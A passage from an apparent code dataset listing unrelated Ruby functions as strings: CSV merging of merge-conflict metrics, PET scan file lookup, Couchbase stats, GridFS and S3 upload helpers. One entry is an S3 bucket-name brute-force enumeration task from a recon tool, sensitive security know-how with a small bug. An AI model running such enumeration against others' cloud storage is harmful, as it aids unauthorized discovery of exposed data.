camposMainMerge[14].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfChangedFilesArithAverage = camposMainMerge[15].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfChangedFilesGeoAverage = camposMainMerge[16].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfChangedLinesArithAverage = camposAuxMerge[4].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\tnumberOfChangedLinesGeoAverage = camposAuxMerge[5].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tdados = mergeCommitID+\",\"+isConflicting+\",\"+existsCommonSlice+\",\"+totalCommonSlices+\",\"+conflictingFilesNumber+\",\"+conflictsNumber+\",\"+numberOfCommitsArithAverage+\",\"+numberOfCommitsGeoAverage+\",\"+numberOfAuthorsArithAverage+\",\"+numberOfAuthorsGeoAverage+\",\"+delayIntegrationArithAverage+\",\"+delayIntegrationGeoAverage+\",\"+deltaIntegration+\",\"+minimumLifeTimeArithAverage+\",\"+minimumLifeTimeGeoAverage+\",\"+numberOfChangedFilesArithAverage+\",\"+numberOfChangedFilesGeoAverage+\",\"+numberOfChangedLinesArithAverage+\",\"+numberOfChangedLinesGeoAverage\n\t\t\t\t\t\t\t\t\t\tlistNumberOfChangedLines.push(dados)\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend #each_line\n\t\t\t\t\t\t\tend #while\n\t\t\t\t\t\tend # File.open\n\t\t\t\tend #each_line\n\t\t\tend #while\n\t\tend # File.open\n\n\t\tFile.open(localClone+pathOutput+\"tmp/\"+prefixProjectName+\"_NumberOfChangedLines.csv\", 'w') do |file|\n\t\t\tfile.puts \"mergeCommitID, isConflicting, existsCommonSlice, totalCommonSlices, conflictingFilesNumber, conflictsNumber, numberOfCommitsArithAverage, numberOfCommitsGeoAverage, numberOfAuthorsArithAverage, numberOfAuthorsGeoAverage, delayIntegrationArithAverage, delayIntegrationGeoAverage, deltaIntegration, minimumLifeTimeArithAverage, minimumLifeTimeGeoAverage, numberOfChangedFilesArithAverage, numberOfChangedFilesGeoAverage, numberOfChangedLinesArithAverage, numberOfChangedLinesGeoAverage\"\n\t\t\tlistNumberOfChangedLines.each do |dado|\n\t\t\t\tfile.puts \"#{dado}\"\n\t\t\tend\n\t\tend\n\n\t\tFile.open(localClone+pathOutput+\"tmp/\"+prefixProjectName+\"_NumberOfChangedLines.csv\", 'r') do |mainMerges|\n\t\t\twhile line = mainMerges.gets\n\t\t\t\tmainMerges.each_line do |line|\n\t\t\t\t\tcamposMainMerge = line.split(\",\")\n\t\t\t\t\tFile.open(localClone+pathOutput+prefixProjectName+\"_ContributionConclusionDelayList.csv\", 'r') do |auxMerges|\n\t\t\t\t\t\twhile lineAux = auxMerges.gets\n\t\t\t\t\t\t\tauxMerges.each_line do |lineAux|\n\t\t\t\t\t\t\t\tcamposAuxMerge = lineAux.split(\",\")\n\t\t\t\t\t\t\t\tif camposMainMerge[0].gsub(\"\\\"\",\"\").eql?(camposAuxMerge[0].gsub(\"\\\"\",\"\"))\n\t\t\t\t\t\t\t\t\tmergeCommitID = camposMainMerge[0].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tisConflicting = camposMainMerge[1].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\texistsCommonSlice = camposMainMerge[2].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\ttotalCommonSlices = camposMainMerge[3].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tconflictingFilesNumber = camposMainMerge[4].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tconflictsNumber = camposMainMerge[5].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tnumberOfCommitsArithAverage = camposMainMerge[6].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tnumberOfCommitsGeoAverage = camposMainMerge[7].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tnumberOfAuthorsArithAverage = camposMainMerge[8].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tnumberOfAuthorsGeoAverage = camposMainMerge[9].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tdelayIntegrationArithAverage = camposMainMerge[10].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tdelayIntegrationGeoAverage = camposMainMerge[11].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tdeltaIntegration = camposMainMerge[12].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tminimumLifeTimeArithAverage = camposMainMerge[13].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tminimumLifeTimeGeoAverage = camposMainMerge[14].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tnumberOfChangedFilesArithAverage = camposMainMerge[15].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tnumberOfChangedFilesGeoAverage = camposMainMerge[16].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tnumberOfChangedLinesArithAverage = camposMainMerge[17].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tnumberOfChangedLinesGeoAverage = camposMainMerge[18].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tcontributionConclusionDelay = camposAuxMerge[4].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\n\t\t\t\t\t\t\t\t\tdados = mergeCommitID+\",\"+isConflicting+\",\"+existsCommonSlice+\",\"+totalCommonSlices+\",\"+conflictingFilesNumber+\",\"+conflictsNumber+\",\"+numberOfCommitsArithAverage+\",\"+numberOfCommitsGeoAverage+\",\"+numberOfAuthorsArithAverage+\",\"+numberOfAuthorsGeoAverage+\",\"+delayIntegrationArithAverage+\",\"+delayIntegrationGeoAverage+\",\"+deltaIntegration+\",\"+minimumLifeTimeArithAverage+\",\"+minimumLifeTimeGeoAverage+\",\"+numberOfChangedFilesArithAverage+\",\"+numberOfChangedFilesGeoAverage+\",\"+numberOfChangedLinesArithAverage+\",\"+numberOfChangedLinesGeoAverage+\",\"+contributionConclusionDelay\n\t\t\t\t\t\t\t\t\tlistContributionConclusionDelay.push(dados)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend #each_line\n\t\t\t\t\t\tend #while\n\t\t\t\t\tend # File.open\n\t\t\t\tend #each_line\n\t\t\tend #while\n\t\tend # File.open\n\n\t\tFile.open(localClone+pathOutput+\"tmp/\"+prefixProjectName+\"_ContributionConclusionDelay.csv\", 'w') do |file|\n\t\t\tfile.puts \"mergeCommitID, isConflicting, existsCommonSlice, totalCommonSlices, conflictingFilesNumber, conflictsNumber, numberOfCommitsArithAverage, numberOfCommitsGeoAverage, numberOfAuthorsArithAverage, numberOfAuthorsGeoAverage, delayIntegrationArithAverage, delayIntegrationGeoAverage, deltaIntegration, minimumLifeTimeArithAverage, minimumLifeTimeGeoAverage, numberOfChangedFilesArithAverage, numberOfChangedFilesGeoAverage, numberOfChangedLinesArithAverage, numberOfChangedLinesGeoAverage, contributionConclusionDelay\"\n\t\t\tlistContributionConclusionDelay.each do |dado|\n\t\t\t\tfile.puts \"#{dado}\"\n\t\t\tend\n\t\tend\n\n\t\t#aqui inderir a última variável desejada, precisar alterar de acordo com a última\n\t\tFile.open(localClone+pathOutput+\"tmp/\"+prefixProjectName+\"_ContributionConclusionDelay.csv\", 'r') do |mainMerges|\n\t\t\twhile line = mainMerges.gets\n\t\t\t\tmainMerges.each_line do |line|\n\t\t\t\t\tcamposMainMerge = line.split(\",\")\n\t\t\t\t\tFile.open(localClone+pathInput+prefixProjectName+\"_Packages.csv\", 'r') do |auxMerges|\n\t\t\t\t\t\twhile lineAux = auxMerges.gets\n\t\t\t\t\t\t\tauxMerges.each_line do |lineAux|\n\t\t\t\t\t\t\t\tcamposAuxMerge = lineAux.split(\",\")\n\t\t\t\t\t\t\t\tif camposMainMerge[0].gsub(\"\\\"\",\"\").eql?(camposAuxMerge[0].gsub(\"\\\"\",\"\"))\n\t\t\t\t\t\t\t\t\tmergeCommitID = camposMainMerge[0].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tisConflicting = camposMainMerge[1].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\texistsCommonSlice = camposMainMerge[2].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\ttotalCommonSlices = camposMainMerge[3].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tconflictingFilesNumber = camposMainMerge[4].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tconflictsNumber = camposMainMerge[5].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tnumberOfCommitsArithAverage = camposMainMerge[6].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tnumberOfCommitsGeoAverage = camposMainMerge[7].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tnumberOfAuthorsArithAverage = camposMainMerge[8].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tnumberOfAuthorsGeoAverage = camposMainMerge[9].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tdelayIntegrationArithAverage = camposMainMerge[10].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tdelayIntegrationGeoAverage = camposMainMerge[11].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tdeltaIntegration = camposMainMerge[12].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tminimumLifeTimeArithAverage = camposMainMerge[13].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tminimumLifeTimeGeoAverage = camposMainMerge[14].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tnumberOfChangedFilesArithAverage = camposMainMerge[15].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tnumberOfChangedFilesGeoAverage = camposMainMerge[16].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tnumberOfChangedLinesArithAverage = camposMainMerge[17].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tnumberOfChangedLinesGeoAverage = camposMainMerge[18].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\tcontributionConclusionDelay = camposMainMerge[19].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\t#metricas de package adicionadas\n\t\t\t\t\t\t\t\t\texistsCommonPackages = camposAuxMerge[2].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\t\t\t\t\ttotalCommonPackages = camposAuxMerge[3].gsub(\"\\\"\",\"\").gsub(\"\\n\",\"\")\n\n\t\t\t\t\t\t\t\t\tdados = mergeCommitID+\",\"+isConflicting+\",\"+existsCommonSlice+\",\"+totalCommonSlices+\",\"+conflictingFilesNumber+\",\"+conflictsNumber+\",\"+numberOfCommitsArithAverage+\",\"+numberOfCommitsGeoAverage+\",\"+numberOfAuthorsArithAverage+\",\"+numberOfAuthorsGeoAverage+\",\"+delayIntegrationArithAverage+\",\"+delayIntegrationGeoAverage+\",\"+deltaIntegration+\",\"+minimumLifeTimeArithAverage+\",\"+minimumLifeTimeGeoAverage+\",\"+numberOfChangedFilesArithAverage+\",\"+numberOfChangedFilesGeoAverage+\",\"+numberOfChangedLinesArithAverage+\",\"+numberOfChangedLinesGeoAverage+\",\"+contributionConclusionDelay+\",\"+existsCommonPackages+\",\"+totalCommonPackages\n\t\t\t\t\t\t\t\t\tlistPackages.push(dados)\n\t\t\t\t\t\t\t\t\t#puts \"dados = #{dados}\"\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend #each_line\n\t\t\t\t\t\tend #while\n\t\t\t\t\tend # File.open\n\t\t\t\tend #each_line\n\t\t\tend #while\n\t\tend # File.open\n\n\t\tFile.open(localClone+pathOutput+prefixProjectName+\"_AllVariables.csv\", 'w') do |file|\n\t\t\tfile.puts \"mergeCommitID, isConflicting, existsCommonSlice, totalCommonSlices, conflictingFilesNumber, conflictsNumber, numberOfCommitsArithAverage, numberOfCommitsGeoAverage, numberOfAuthorsArithAverage, numberOfAuthorsGeoAverage, delayIntegrationArithAverage, delayIntegrationGeoAverage, deltaIntegration, minimumLifeTimeArithAverage, minimumLifeTimeGeoAverage, numberOfChangedFilesArithAverage, numberOfChangedFilesGeoAverage, numberOfChangedLinesArithAverage, numberOfChangedLinesGeoAverage, contributionConclusionDelay, existsCommonPackages, totalCommonPackages\"\n\t\t\tlistPackages.each do |dado|\n\t\t\t\tfile.puts \"#{dado}\"\n\t\t\t\t#puts \"#{dado}\"\n\t\t\tend\n\t\tend\n\n\t\tputs \"end running generateCVSToStatisticAnalysis from #{prefixProjectName} project\"\n\tend",
"def get_pet_files(p_sp_id, p_tracer_id, p_vgroup_id)\n # ???? '1_asthana.adrc-clinical-core.visit1'=>'', '2_bendlin.tami.visit1'=>'', '1_bendlin.wmad.visit1'=>'','1_bendlin.mets.visit1'=> '', '2_bendlin.mets.visit1'=> ''\n # 2_ries.mosaic.visit1 3_ries.mosaic.visit1\n # tracer 1=pib, 2=fdg, 3=way, 4=015\n v_base_path = Shared.get_base_path()\n v_sp = ScanProcedure.find(p_sp_id)\n v_pet_target_path = \"\"\n if !v_sp.petscan_tracer_path.blank?\n v_tracer_path_array = v_sp.petscan_tracer_path.split(\"|\")\n v_tracer_path_array.each do |tr|\n v_tracer_path = tr.split(\":\")\n if v_tracer_path[0] == p_tracer_id.to_s\n v_pet_target_path = v_tracer_path[1]\n end\n end\n end\n #v_key = p_tracer_id.to_s+\"_\"+v_sp.codename\n v_file_names = []\n if !v_pet_target_path.blank? #v_pet_target_hash[v_key].blank?\n v_path = v_base_path+\"/raw/\"+v_pet_target_path+\"/\" #v_pet_target_hash[v_key]+\"/\"\n # check for file with enum \n vgroup = Vgroup.find(p_vgroup_id)\n (vgroup.enrollments).each do |e| # need case insensitive match \n if !Dir.glob(v_path+e.enumber+\"*\", File::FNM_CASEFOLD).empty? or !Dir.glob(v_path+\"*\"+e.enumber[1..-1]+\"*.img\", File::FNM_CASEFOLD).empty?\n v_cnt = 0\n Dir.glob(v_path+e.enumber+\"*\", File::FNM_CASEFOLD).each do |f|\n v_file_names.push(f.gsub(v_path,\"\"))\n v_cnt = v_cnt + 1\n end \n if v_cnt < 1\n Dir.glob(v_path+\"*\"+e.enumber[1..-1]+\"*.img\", File::FNM_CASEFOLD).each do |f|\n v_file_names.push(f.gsub(v_path,\"\"))\n v_cnt = v_cnt + 1\n end\n end\n #elsif (!Dir.glob(v_path+e.enumber.upcase+\"*\").empty? or !Dir.glob(v_path+\"*\"+e.enumber[1..-1].upcase+\"*.img\").empty?) and 1==2\n # v_cnt = 0\n # Dir.glob(v_path+e.enumber.upcase+\"*\").each do |f|\n # v_file_names.push(f.gsub(v_path,\"\"))\n # v_cnt = v_cnt + 1\n # end \n # if v_cnt < 1\n # Dir.glob(v_path+\"*\"+e.enumber[1..-1].upcase+\"*.img\").each do |f|\n # v_file_names.push(f.gsub(v_path,\"\"))\n # v_cnt = v_cnt + 1\n # end\n # end\n # else \n end\n end\n else\n #puts \"AAAAAAAAA \"+v_key+\" no path for sp in hash\"\n end\n return v_file_names\n end",
"def run\n super\n\n bucket_name = _get_entity_name\n opt_use_file = _get_option(\"use_file\")\n opt_filename = _get_option(\"brute_file\")\n opt_additional_buckets = _get_option(\"additional_buckets\")\n opt_use_creds = _get_option(\"use_creds\")\n opt_threads = _get_option(\"threads\")\n\n if opt_use_file\n _log \"Using file: #{opt_filename}\"\n potential_buckets = File.read(\"#{$intrigue_basedir}/data/#{opt_filename}\").split(\"\\n\")\n else\n _log \"Using provided brute list\"\n potential_buckets = [bucket_name]\n end\n\n # add in any additional buckets to the list of potentials\n all_potential_buckets = potential_buckets.concat(opt_additional_buckets.split(\",\"))\n\n # Create our queue of work from the checks in brute_list\n work_q = Queue.new\n all_potential_buckets.each do |pb|\n work_q << pb.strip\n end\n\n # Create a pool of worker threads to work on the queue\n workers = (0...opt_threads).map do\n Thread.new do\n begin\n while bucket_name = work_q.pop(true)\n\n #skip anything that isn't a real name\n next unless bucket_name && bucket_name.length > 0\n\n # Authenticated method\n if opt_use_creds\n\n access_key_id = _get_global_config \"aws_access_key_id\"\n secret_access_key = _get_global_config \"aws_secret_access_key\"\n\n unless access_key_id && secret_access_key\n _log_error \"FATAL! To scan with authentication, you must specify a aws_access_key_id aws_secret_access_key in the config!\"\n return\n end\n\n # Check for it, and get the contents\n Aws.config[:credentials] = Aws::Credentials.new(access_key_id, secret_access_key)\n exists = check_existence_authenticated(bucket_name)\n\n # create our entity and store the username with it\n _create_entity(\"AwsS3Bucket\", {\n \"name\" => \"#{s3_uri}\",\n \"uri\" => \"#{s3_uri}\",\n \"authenticated\" => true,\n \"username\" => access_key_id\n }) if exists\n\n #########################\n # Unauthenticated check #\n #########################\n else\n\n s3_uri = \"https://#{bucket_name}.s3.amazonaws.com\"\n exists = check_existence_unauthenticated(s3_uri)\n _create_entity(\"AwsS3Bucket\", {\n \"name\" => \"#{s3_uri}\",\n \"uri\" => \"#{s3_uri}\",\n \"authenticated\" => false\n }) if exists\n\n next if exists ## Only proceed if we got an error above (bucket exists!) !!!\n\n s3_uri = \"https://s3.amazonaws.com/#{bucket_name}\"\n exists = check_existence_unauthenticated(s3_uri)\n _create_entity(\"AwsS3Bucket\", {\n \"name\" => \"#{s3_uri}\",\n \"uri\" => \"#{s3_uri}\",\n \"authenticated\" => false,\n }) if exists\n\n end # end if opt_use_creds\n\n\n end # end while\n rescue ThreadError\n end\n end\n end; \"ok\"\n workers.map(&:join); \"ok\"\n\n end",
"def grouped(files); end",
"def merge_gap_mark_tagging_import_into_content_at(options)\n gap_mark_tagging_import_base_dir = config.compute_base_dir(\n options['base-dir'] || options['base-dir-1'] || :gap_mark_tagging_import_dir\n )\n gap_mark_tagging_import_glob_pattern = config.compute_glob_pattern(\n gap_mark_tagging_import_base_dir,\n options['file-selector'] || :all_files,\n options['file-extension'] || :txt_extension\n )\n content_base_dir = config.compute_base_dir(\n options['base-dir-2'] || :content_dir\n )\n\n $stderr.puts ''\n $stderr.puts '-' * 80\n $stderr.puts 'Merging :gap_mark tokens from gap_mark_tagging_import into content_at'\n start_time = Time.now\n total_count = 0\n success_count = 0\n errors_count = 0\n\n Dir.glob(gap_mark_tagging_import_glob_pattern).each do |gap_mark_tagging_import_file_name|\n if gap_mark_tagging_import_file_name !~ /\\.gap_mark_tagging\\.txt\\z/\n next\n end\n\n total_count += 1\n # prepare paths\n content_at_file_name = gap_mark_tagging_import_file_name.gsub(\n gap_mark_tagging_import_base_dir, content_base_dir\n ).gsub(\n /\\.gap_mark_tagging\\.txt\\z/, '.at'\n )\n output_file_name = content_at_file_name\n\n begin\n outcome = Repositext::Process::Merge::GapMarkTaggingImportIntoContentAt.merge(\n File.read(gap_mark_tagging_import_file_name),\n File.read(content_at_file_name),\n )\n\n if outcome.success\n # write to file\n at_with_merged_tokens = outcome.result\n FileUtils.mkdir_p(File.dirname(output_file_name))\n File.write(output_file_name, at_with_merged_tokens)\n success_count += 1\n $stderr.puts \" + Merge :gap_marks from #{ gap_mark_tagging_import_file_name }\"\n else\n errors_count += 1\n $stderr.puts \" x Error: #{ gap_mark_tagging_import_file_name }: #{ outcome.messages.join }\"\n end\n rescue StandardError => e\n errors_count += 1\n $stderr.puts \" x Error: #{ gap_mark_tagging_import_file_name }: #{ e.class.name } - #{ e.message } - #{ e.backtrace.join(\"\\n\") }\"\n end\n end\n\n $stderr.puts \"Finished merging #{ success_count } of #{ total_count } files in #{ Time.now - start_time } seconds.\"\n $stderr.puts '-' * 80\n end",
"def images_for(brand, sku, type=\"jpg\")\n sku_images_path = File.expand_path(Pathname.new(@dir_path_map[brand]) + sku)\n if File.exist?(sku_images_path)\n Dir.glob(File.join(sku_images_path, \"*.#{type}\")).each do |f_path|\n #File.open(f_path)\n f_path\n end\n else\n puts \"[#{brand}] images SKU #{sku_images_path} directory not exist\"\n end\nend",
"def bucket_stats(url, time)\n\n logger.info \"bucket_stats:start: url = #{url}, time = #{time.to_i}\"\n\n jsonResponse = rest_call(url)\n buckets = JSON.parse(jsonResponse)\n\n buckets.each do |bucket|\n bucket_name = bucket['name'].gsub(/\\./, '-')\n replica_num = bucket['replicaNumber']\n ram_quota = bucket['quota']['ram']\n ram_quota_raw = bucket['quota']['rawRAM']\n quota_percent_used = bucket['basicStats']['quotaPercentUsed']\n ops_per_sec = bucket['basicStats']['opsPerSec']\n disk_fetches = bucket['basicStats']['diskFetches']\n item_count = bucket['basicStats']['itemCount']\n disk_used = bucket['basicStats']['diskUsed']\n data_used = bucket['basicStats']['dataUsed']\n mem_used = bucket['basicStats']['memUsed']\n node_size = bucket['nodes'].length\n\n data_availability_pct = data_availability(node_size, replica_num, @healthy_nodes, @failover_nodes)\n\n write_to_graphite( construct_metric_name(\"#{bucket_name}.replica_num\", CONST_BUCKET_LEVEL), replica_num.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.quota_percent_used\", CONST_BUCKET_LEVEL), quota_percent_used.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.ops\", CONST_BUCKET_LEVEL), ops_per_sec.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.mem_used\", CONST_BUCKET_LEVEL), mem_used.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.item_cnt\", CONST_BUCKET_LEVEL), item_count.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.disk_used\", CONST_BUCKET_LEVEL), disk_used.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.disk_fetches\", CONST_BUCKET_LEVEL), disk_fetches.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.data_used\", CONST_BUCKET_LEVEL), data_used.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.ram_quota\", CONST_BUCKET_LEVEL), ram_quota.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.ram_quota_raw\", CONST_BUCKET_LEVEL), ram_quota_raw.to_s, time)\n write_to_graphite( construct_metric_name(\"#{bucket_name}.data_availability_pct\", CONST_BUCKET_LEVEL), data_availability_pct.to_s, time)\n\n get_cmd_histogram(bucket_name, @hostname , @password, 11210, time)\n\n end\n\n logger.info 'bucket_stats:end: Completed'\n end",
"def transfer!\n remote_path = remote_path_for(@package)\n\n connection.sync_clock\n\n files_to_transfer_for(@package) do |local_file, remote_file|\n Logger.info \"#{storage_name} started transferring \" +\n \"'#{ local_file }' to bucket '#{ bucket }'.\"\n\n File.open(File.join(local_path, local_file), 'r') do |file|\n connection.put_object(\n bucket, File.join(remote_path, remote_file), file\n )\n end\n end\n end",
"def retrieve_cloud_files(files); end",
"def patch_file(uid, input, info = {})\n grid_info = files_collection.find(filename: uid).first\n current_length = grid_info[:length]\n chunk_size = grid_info[:chunkSize]\n bytes_saved = 0\n\n # It's possible that the previous data append didn't fill in the last\n # GridFS chunk completely, so we fill in that gap now before creating\n # new GridFS chunks.\n bytes_saved += patch_last_chunk(input, grid_info) if current_length % chunk_size != 0\n\n # Create an Enumerator which yields chunks of input data which have the\n # size of the configured :chunkSize of the GridFS file.\n chunks_enumerator = Enumerator.new do |yielder|\n while (data = input.read(chunk_size))\n yielder << data\n end\n end\n\n chunks_in_batch = (BATCH_SIZE.to_f / chunk_size).ceil\n chunks_offset = chunks_collection.count(files_id: grid_info[:_id]) - 1\n\n # Iterate in batches of data chunks and bulk-insert new GridFS chunks.\n # This way we try to have a balance between bulking inserts and keeping\n # memory usage low.\n chunks_enumerator.each_slice(chunks_in_batch) do |chunks|\n grid_chunks = chunks.map do |data|\n Mongo::Grid::File::Chunk.new(\n data: BSON::Binary.new(data),\n files_id: grid_info[:_id],\n n: chunks_offset += 1,\n )\n end\n\n chunks_collection.insert_many(grid_chunks)\n\n # Update the total length and refresh the upload date on each update,\n # which are used in #get_file, #concatenate and #expire_files.\n files_collection.find(filename: uid).update_one(\n \"$inc\" => { length: chunks.map(&:bytesize).inject(0, :+) },\n \"$set\" => { uploadDate: Time.now.utc },\n )\n bytes_saved += chunks.map(&:bytesize).inject(0, :+)\n\n chunks.each(&:clear) # deallocate strings\n end\n\n bytes_saved\n end",
"def update_index\n index_files = []\n index_files << upload(\"specs.4.8.gz\", specs_index)\n log \"Uploaded all specs index\"\n index_files << upload(\"latest_specs.4.8.gz\", latest_index)\n log \"Uploaded latest specs index\"\n index_files << upload(\"prerelease_specs.4.8.gz\", prerelease_index)\n log \"Uploaded prerelease specs index\"\n\n index_files.each do |file|\n tuf_repo.replace_file(file, 'targets/unclaimed', 'targets')\n end\n\n # For now assume all files are unclaimed\n pending_files = tuf_pending_store.pending\n pending_files.each do |file|\n puts \"Adding file: #{file.path}\"\n tuf_repo.add_file(file, 'targets/unclaimed', 'targets')\n end\n tuf_repo.publish!\n tuf_pending_store.clear(pending_files)\n end",
"def bysize results, maxsize=100*1024\r\n\tfiles = []\r\n\t\r\n\tnext_file=1\r\n\tfrgm=[]\r\n\tlen=0\r\n\t\r\n\tresults.each_pair do |k,v|\r\n\t\tname, images, interwikimap = k, *v\r\n\t\t\r\n\t\tunless images.empty?\r\n\t\t\tfrgm << \"* [[#{name}]]\"\r\n\t\t\tlen += frgm.last.length\r\n\t\t\timages.to_a.each{|img, langs| \r\n\t\t\t\tfrgm << \"** [[:commons:File:#{img}|]] na #{langs.uniq.map{|l| \"[[:#{l}:#{interwikimap[l.to_s]}|#{l}]]\"}.join ','}\"\r\n\t\t\t\tlen += frgm.last.length\r\n\t\t\t}\r\n\t\tend\r\n\t\t\r\n\t\tif len >= maxsize\r\n\t\t\tfname = \"#{next_file}.txt\"\r\n\t\t\tfiles << fname\r\n\t\t\t\r\n\t\t\tFile.open(fname,'w'){|f| f.puts frgm}\r\n\t\t\tputs next_file\r\n\t\t\t\r\n\t\t\tfrgm=[]\r\n\t\t\tlen=0\r\n\t\t\tnext_file+=1\r\n\t\tend\r\n\tend\r\n\t\r\n\tunless frgm.empty?\r\n\t\tfname = \"#{next_file}.txt\"\r\n\t\tfiles << fname\r\n\t\t\r\n\t\tFile.open(fname,'w'){|f| f.puts frgm}\r\n\t\tputs next_file\r\n\tend\r\n\t\r\n\treturn files\r\nend",
"def report_new_file(hit)\n hit.each do |file_path, method_name, score|\n @reporter.report_new_score(file_path, method_name, score)\n end\n end",
"def add_result_ogs(base, _opts)\n if result_files_exist?(base, %w[.empty])\n r = MiGA::Result.new(\"#{base}.json\")\n r.add_file(:empty, 'miga-project.empty')\n return r\n end\n return nil unless result_files_exist?(base, %w[.ogs .stats])\n\n r = MiGA::Result.new(\"#{base}.json\")\n r.add_file(:ogs, 'miga-project.ogs')\n r.add_file(:abc, 'miga-project.abc')\n r.add_file(:stats, 'miga-project.stats')\n r.add_file(:core_pan, 'miga-project.core-pan.tsv')\n r.add_file(:core_pan_plot, 'miga-project.core-pan.pdf')\n r\n end",
"def upload #could be called analyze\n \n pdf = params[:pdf]\n trans_files = params[:trans]\n varer = params[:varer]\n \n \n # I'm building it within the upload action for now.\n \n \n # Get filehandles for files. Pass these in as parameters to the script. \n @scanTool = ScanTool.new(pdf,trans_files,varer)\n \n @combinedData = @scanTool.runAnalysis\n \n\n \n end",
"def upload_file(source,bucket,key_prefix,source_prefix,item_lookup)\n source_prefix = $1 if not source_prefix and source =~ /^(\\.+\\/*)/\n if File.directory?(source)\n upload_files(Dir[\"#{source}/*\"],bucket,key_prefix,source_prefix,item_lookup)\n else\n key = \"#{key_prefix}#{source[(source_prefix || '').length..-1]}\"\n source_size = File.size(source)\n if (last_size = item_lookup[key]) and last_size == source_size\n puts \"SKIP #{source}\"\n else\n if last_size\n print \"UPDATE #{source} => s3://#{bucket.name}/#{key} (#{last_size} => #{source_size})\"\n else\n print \"ADD #{source} => s3://#{bucket.name}/#{key} (#{source_size})\"\n end\n start_time = Time.now\n File.open(source,'rb') do|file|\n bucket.object(key).put(body: file)\n end\n puts \"... #{(Time.now - start_time).to_i}\"\n end\n end\nend",
